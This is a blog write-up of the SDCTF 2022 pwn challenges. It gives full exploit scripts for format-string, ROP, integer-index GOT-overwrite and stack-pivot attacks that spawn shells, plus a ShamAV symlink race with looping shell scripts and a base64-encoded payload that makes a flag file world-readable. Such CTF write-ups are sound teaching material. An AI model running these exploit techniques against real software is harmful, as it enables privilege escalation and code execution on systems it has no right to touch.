2022-Sdctf-All-Pwn-Wp

I was shocked when I found I stayed in a only-me team. Where are my teammates?

Anyway, I have completed all the tasks of pwn in a afternoon. These tasks are not very hard, and it takes me about 4 hours. In fact, I have spent almost 2 hours on solving shamav, this task is a little bit challengeable and interesting.

Oil Spill

checksec

image-20220508210905962

No relro and no pie, the remote glibc version is libc6_2.27-3ubuntu1.5_amd64.

vulnerability

Glibc address is given, then, we can use printf attack:

image-20220508210726488

solution

It’s an easy task about fmt-attack. However, I had a problem when I used my exp.py to attack remote host. The problem is that I cannot get any output from the remote host. After I input something, I get the address of puts/printf/temp and then, the program in remote host is stopped. That means I cannot get glibc address before I input…….Maybe it’s caused by my proxy VPN app.

In order to solve the problem, I decide to find a way to execute the main function again. The .fini_array section is chosen and I plan to replace .fini_array[0] with main address. Unfortunately, the address of .fini_array is 0x600A40, which contains \x0a. WTF!!!!

Then, I try to use partial overwritting to do rop, and I found that there’s a gadget add rsp, 0x38; pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret; nearby puts@glibc.

1
2
0x0000000000080344: add rsp, 0x38; pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret; 
000000000000080970   512 FUNC    GLOBAL DEFAULT   13 _IO_puts@@GLIBC_2.2.5

To guess half a byte of the gadget, and use fmt-attack to modify the lowest 2 bytes of puts@got. then make use of magic gadget to change printf@got to one gadget and call printf to get shell.

EXP

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick

from pwncli import *

cli_script()

set_remote_libc("./libc-2.27.so")

io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']

# offset 8
magic = 0x400658
pop_rbx = 0x4007DA

write_num = 10099 # 0x0000000000080773: add rsp, 0x48; pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret;
printf_off = 0x64f70
og_off = 0x4f432

if gift.remote:
    write_num = 9028
    printf_off = 0x64e40
    og_off = 0x4f302

data = flat_z({
    0:{
        0: f"%{write_num}c%40$hn",
        80: [
            0x400772,
            0x400772, # ret
            pop_rbx,
            0x100000000 + og_off - printf_off, # printf,
            0x600c20 + 0x3d,
            0, 0, 0, 0,
            magic,
            0x400588, #printf
        ]
        },
    }, length=0x100) + p64_ex(0x600c18) # puts

sleep(1)
sl(data)

m = rls("0x").split(b",")
libc_base = int16_ex(m[0]) - libc.sym.puts
log_address("libc_base", libc_base)

if (libc_base & 0xffff) == 0x2000:
    log_ex_highlight("get shell!")
    sl("cat flag.txt")
    ia()
else:
    ic()

use command : for i in $(seq 1 8); do ./exp.py re ./OilSpill oil.sdc.tf:1337 -nl; done to enumerate and get shell.

image-20220508213922905

Horoscope

A basic rop task

vulnerability

image-20220508215543397

and there are two functions to help you get shell:

image-20220508215628900

image-20220508215638710

EXP

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick

from pwncli import *

cli_script()

io: tube = gift['io']
elf: ELF = gift['elf']

sl(flat({
    0: "1/1/1/1/",
    8: {
        48: [
            elf.sym.debug,
            elf.sym.test
        ]
    }
}))

r()
sl("cat flag.txt")

ia()

attack remote host:

image-20220508215730626

BreakfastMenu

Heap related, maybe.

checksec

image-20220508215815359

The remote glibc version is also libc6_2.27-3ubuntu1.5_amd64.

vulnerability

The idx could be a negative number, I call it as int overflow:

image-20220508215935838

solution

The steps:

  • create a new order

  • use int overflow to replace got@free with puts@plt and replace exit@got with malloc@got

  • use int overflow to delete an order related malloc@got, actually, it leaks the real address of malloc function

  • use int overflow to modify free@got to system, which is gained by the address of malloc

  • delete an order with /bin/sh to get shell

EXP

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick

from pwncli import *

cli_script()

set_remote_libc("./libc-2.27.so")

io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']

def create():
    sla("4. Pay your bill and leave\n", "1")
    ru("A new order has been created\n")


def edit(i, data):
    sla("4. Pay your bill and leave\n", "2")
    sla("which order would you like to modify\n", str(i))
    sla("What would you like to order?\n", data)

def dele(i):
    sla("4. Pay your bill and leave\n", "3")
    sla("which order would you like to remove\n", str(i))


create()
edit(0, "/bin/sh")

edit(-7, p64(elf.plt.puts) + p64(elf.got.free))
edit(-7, p64(elf.got.malloc) + p64(elf.got.exit))

dele(-15)
libc_base = recv_current_libc_addr(offset=libc.sym.malloc)
set_current_libc_base_and_log(libc_base)

edit(-7, p64(libc.sym.system) + p64(elf.got.free))

dele(0)

ia()

image-20220508220506836

Secure Horoscope

Still a basic rop challenge…

vulnerability

A buffer overflow with 0x1c bytes:

image-20220508220624949

solution

I found a fast solution after reading the asm code of this program:

image-20220508220750354

When rbp is hijacked, we can write data anywhere.

The steps:

  • buffer overflow and to control rbp
  • write rop chain in the bss section and do stack pivot
  • rop and use magic gadget to get shell

EXP

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick

from pwncli import *

cli_script()

io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']

sla("To get started, tell us how you feel\n", "great")
sa("we will have your very own horoscope\n\n", flat({
    0x70: [
        elf.bss(0x470),
        0x4007cf
    ]
}, length=0x8c))
sleep(1)
CurrentGadgets.set_find_area(find_in_libc=False)
s(flat_z({
    0: [
        elf.bss(0x470),
        CurrentGadgets.write_by_magic(elf.got.puts, libc.sym.puts, get_current_one_gadget_from_libc()[1]),
        elf.plt.puts
    ],
    0x70: [
        elf.bss(0x400),
        0x40080D
    ]
}, length=0x8c))

ia()

image-20220508221234264

ShamAV

It’s about toutoc vuln, that is time of use time of change/check. Soft symbol link attack is used in this challenge.

Tips: shutil.copyfile(src, dst) will raise an exception if src is not readable; If dst already exists, it will be replaced.

analysis of server

Download the server.py:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
#! /usr/bin/env python3                                                                                                                                                                                 [40/1990]import base64, socket, os, hashlib, shutil, sys
import base64, socket, os, hashlib, shutil, sys

USER_UID = 1002
CTR_LENGTH = 256
STDIO_DEBUG = False

ctr = 0
malware_hashes = set()

with open('malware-hashes.txt') as f:
    for line in f:
        malware_hashes.add(line.strip())

with open('seed') as f:
    seed = base64.b64decode(f.read())
    # Read from a seed file to make the behavior more reproduce-able
    # Make testing a lot easier

def log(s: str):
    print(s, file=sys.stderr, flush=True)

def genrandom():
    global ctr
    result = hashlib.sha256(ctr.to_bytes(CTR_LENGTH, byteorder='little') + seed).hexdigest()
    ctr += 1
    return result

def is_malware(file: str):
    with open(file, 'rb') as f:
        return hashlib.sha256(f.read()).hexdigest() in malware_hashes

def _scan(path: str):
    log(f'[I] Scanning file {path}')
    try:
        if os.lstat(path).st_uid != USER_UID:
            return "You do not have permission to scan this item"
    except OSError as e:
        return f'Error from OS: {e}'
    target_path = f'/home/antivirus/quarantine/sham-av-{genrandom()}'
    log(f'[D] Copying file from {path} to {target_path}')
    try:
        shutil.copyfile(path, target_path)
        if is_malware(target_path):
            log(f'[I] Found malware at {path}')
            return f'***** Malware detected! File quarantined at {target_path} *****'
    except IsADirectoryError as e:
        return f'An error occurred: {e}'
    return "File scan completed. No malware detected."

def scan(path: str):
    res = _scan(path)
    log(f'[I] Scan complete: {path}')
    return res

SOCKET_FILE = 'socket'
BS = 4096

def recvall(sock):
    chunks = []
    while True:
        chunk = sock.recv(BS)
        if chunk == b'':
            return b''.join(chunks)
        chunks.append(chunk)

while True:
    if STDIO_DEBUG:
        try:
            path = input()
        except EOFError:
            break
        print(f'Scan result: {scan(path)}')
    else:
        with socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) as s:
            try:
                os.unlink(SOCKET_FILE)
            except FileNotFoundError:
                pass
            s.bind(SOCKET_FILE)
            os.chmod(SOCKET_FILE, 0o777)
            s.listen()
            while True:
                log(f'[I] Ready for the next client')
                conn, _ = s.accept()
                res = scan(recvall(conn).decode(errors='surrogateescape'))
                log(f'[I] Scan result: {res}')
                try:
                    conn.sendall(res.encode())
                except OSError as e:
                    log(f'[E] OS error on sendall: {e}')

and the launch.sh:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#! /usr/bin/env bash

set -e

cd "$(dirname -- "${BASH_SOURCE[0]}")"

function main {
    echo "----- Welcome to ShamAV, version alpha 0.0.1 -----"
    echo "***** Begin System information *****"
    echo "Working directory: $(pwd)"
    echo "Directory listing:"
    ls -la
    echo "***** End System information *****"

    while true; do
        ( umask 077; head -c 32 /dev/urandom | base64 > seed )
        if ./server.py 2>&1; then
            echo "[I] Launcher shutting down..."
            break
        fi
        echo "[!] ShamAV server has crashed, restarting in 1 second..."
        sleep 1
        echo "[I] Restarting ShamAV server"
    done
}

main > av.log

The vuln is in _scan method:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
def _scan(path: str):
    log(f'[I] Scanning file {path}')
    try:
        if os.lstat(path).st_uid != USER_UID: # check
            return "You do not have permission to scan this item"
    except OSError as e:
        return f'Error from OS: {e}'
    target_path = f'/home/antivirus/quarantine/sham-av-{genrandom()}'
    log(f'[D] Copying file from {path} to {target_path}')
    try:
        shutil.copyfile(path, target_path) # used

We can create a file which belongs to ctf to bypass the check of USER_UID, then remove the file and create a symbol link to /home/antivirus/seed with the same name instantly. In a lucky moment, the /home/antivirus/seedfile is copied to /home/antivirus/quarantine, so we can read the content of seed and get its data.

Once we get seed, we can generate and forecast all the next sha-256 digest values using genrandom method in server.py.

solution

The steps:

  • use symbol link attack to leak seed data and calculate the next sha-256 hash values

  • create many soft symbol links in /home/antivirus/quarantine with the format /home/antivirus/quarantine/sham-av-{known-digest-value}, all of these links point to /home/antivirus/server.py

  • create a file /home/ctf/server.py, with content:

    1
    2
    3
    
    #!/usr/bin/env python3
    import os
    os.system('chmod 777 /home/antivirus/flag.txt')
  • execute /home/ctf/bin/scan /home/ctf/server.py to replace the /home/antivirus/server.py with /home/ctf/server.py

  • remove all file in /home/antivirus/quarantine

  • try to toctou attack /home/antivirus/flag.txt and in a moment, an exception is raised when shutil.copyfile is called, because the parameter src which point to /home/antivirus/flag.txt is not readable

  • launch.sh would execute ./server.py again, but the file has been replaced, so os.system(chmod 777 flag.txt) is executed

EXP

First, use following command to create three bash scripts:

1
echo -e '#!/bin/sh\nwhile true; do rm -rf /home/ctf/flag;touch /home/ctf/flag;rm -rf /home/ctf/flag;ln -s /home/antivirus/seed /home/ctf/flag;sleep 0.1; done' > exp1.sh && echo -e '#!/bin/sh\nwhile true; do rm -rf /home/ctf/flag;touch /home/ctf/flag;rm -rf /home/ctf/flag;ln -s /home/antivirus/flag.txt /home/ctf/flag; done' > exp2.sh && echo -e '#!/bin/sh\nwhile true; do /home/ctf/bin/scan /home/ctf/flag; done' > attack.sh && chmod +x *.sh

Then, execute:

1
2
timeout 60 ./exp1.sh &
timeout 60 ./attack.sh

Now, the seed file has been copied to /home/antivirus/quarantine, create a symbol link /home/ctf/seed to point to the seed file in /home/antivirus/quarantine

Use base64 to write go.py

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import base64, hashlib, os
ctr = 0
CTR_LENGTH = 256

with open('seed') as f:
    seed = base64.b64decode(f.read())

def genrandom():
    global ctr
    result = hashlib.sha256(ctr.to_bytes(CTR_LENGTH, byteorder='little') + seed).hexdigest()
    ctr += 1
    return result

data = """#! /usr/bin/env python3
import os
os.system("chmod 777 /home/antivirus/flag.txt")
"""

with open("/home/ctf/server.py", "wt", encoding='utf-8') as f:
    f.write(data.replace("\r\n", "\n"))
    f.flush()

os.system("chmod +x /home/ctf/server.py")

for i in range(0x200):
    filepath = f'/home/antivirus/quarantine/sham-av-{genrandom()}'
    if not os.path.exists(filepath):
        os.system(f"ln -s /home/antivirus/server.py {filepath}")

# replace server.py
os.system("/home/ctf/bin/scan /home/ctf/server.py")

# remove all files
os.system("rm -rf /home/antivirus/quarantine/*")

# check
os.system("ls -al /home/antivirus/quarantine")
os.system("ls -al /home/antivirus/server.py")

And, execute command:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
cat > tmp << EOF
aW1wb3J0IGJhc2U2NCwgaGFzaGxpYiwgb3MKY3RyID0gMApDVFJfTEVOR1RIID0gMjU2Cgp3aXRo
IG9wZW4oJ3NlZWQnKSBhcyBmOgogICAgc2VlZCA9IGJhc2U2NC5iNjRkZWNvZGUoZi5yZWFkKCkp
CgpkZWYgZ2VucmFuZG9tKCk6CiAgICBnbG9iYWwgY3RyCiAgICByZXN1bHQgPSBoYXNobGliLnNo
YTI1NihjdHIudG9fYnl0ZXMoQ1RSX0xFTkdUSCwgYnl0ZW9yZGVyPSdsaXR0bGUnKSArIHNlZWQp
LmhleGRpZ2VzdCgpCiAgICBjdHIgKz0gMQogICAgcmV0dXJuIHJlc3VsdAoKZGF0YSA9ICIiIiMh
IC91c3IvYmluL2VudiBweXRob24zCmltcG9ydCBvcwpvcy5zeXN0ZW0oImNobW9kIDc3NyAvaG9t
ZS9hbnRpdmlydXMvZmxhZy50eHQiKQoiIiIKCndpdGggb3BlbigiL2hvbWUvY3RmL3NlcnZlci5w
eSIsICJ3dCIsIGVuY29kaW5nPSd1dGYtOCcpIGFzIGY6CiAgICBmLndyaXRlKGRhdGEucmVwbGFj
ZSgiXHJcbiIsICJcbiIpKQogICAgZi5mbHVzaCgpCgpvcy5zeXN0ZW0oImNobW9kICt4IC9ob21l
L2N0Zi9zZXJ2ZXIucHkiKQoKZm9yIGkgaW4gcmFuZ2UoMHgyMDApOgogICAgZmlsZXBhdGggPSBm
Jy9ob21lL2FudGl2aXJ1cy9xdWFyYW50aW5lL3NoYW0tYXYte2dlbnJhbmRvbSgpfScKICAgIGlm
IG5vdCBvcy5wYXRoLmV4aXN0cyhmaWxlcGF0aCk6CiAgICAgICAgb3Muc3lzdGVtKGYibG4gLXMg
L2hvbWUvYW50aXZpcnVzL3NlcnZlci5weSB7ZmlsZXBhdGh9IikKCiMgcmVwbGFjZSBzZXJ2ZXIu
cHkKb3Muc3lzdGVtKCIvaG9tZS9jdGYvYmluL3NjYW4gL2hvbWUvY3RmL3NlcnZlci5weSIpCgpv
cy5zeXN0ZW0oInJtIC1yZiAvaG9tZS9hbnRpdmlydXMvcXVhcmFudGluZS8qIikKCiMgY2hlY2sK
b3Muc3lzdGVtKCJscyAtYWwgL2hvbWUvYW50aXZpcnVzL3F1YXJhbnRpbmUiKQpvcy5zeXN0ZW0o
ImxzIC1hbCAvaG9tZS9hbnRpdmlydXMvc2VydmVyLnB5Iik=
EOF

base64 -d tmp > go.py
python3 go.py

Finally:

1
2
./exp2.sh &
timeout 60 ./attack.sh

If you’re a lucky boy, you will find the /home/antivirus/flag.txt is rwxrwxrwx, now, capture the flag:

image-20220508223638363

reference

1、My Blog

2、Ctf Wiki

3、pwncli

Buy me a coffee~
roderick AlipayAlipay
roderick WeChat PayWeChat Pay
0%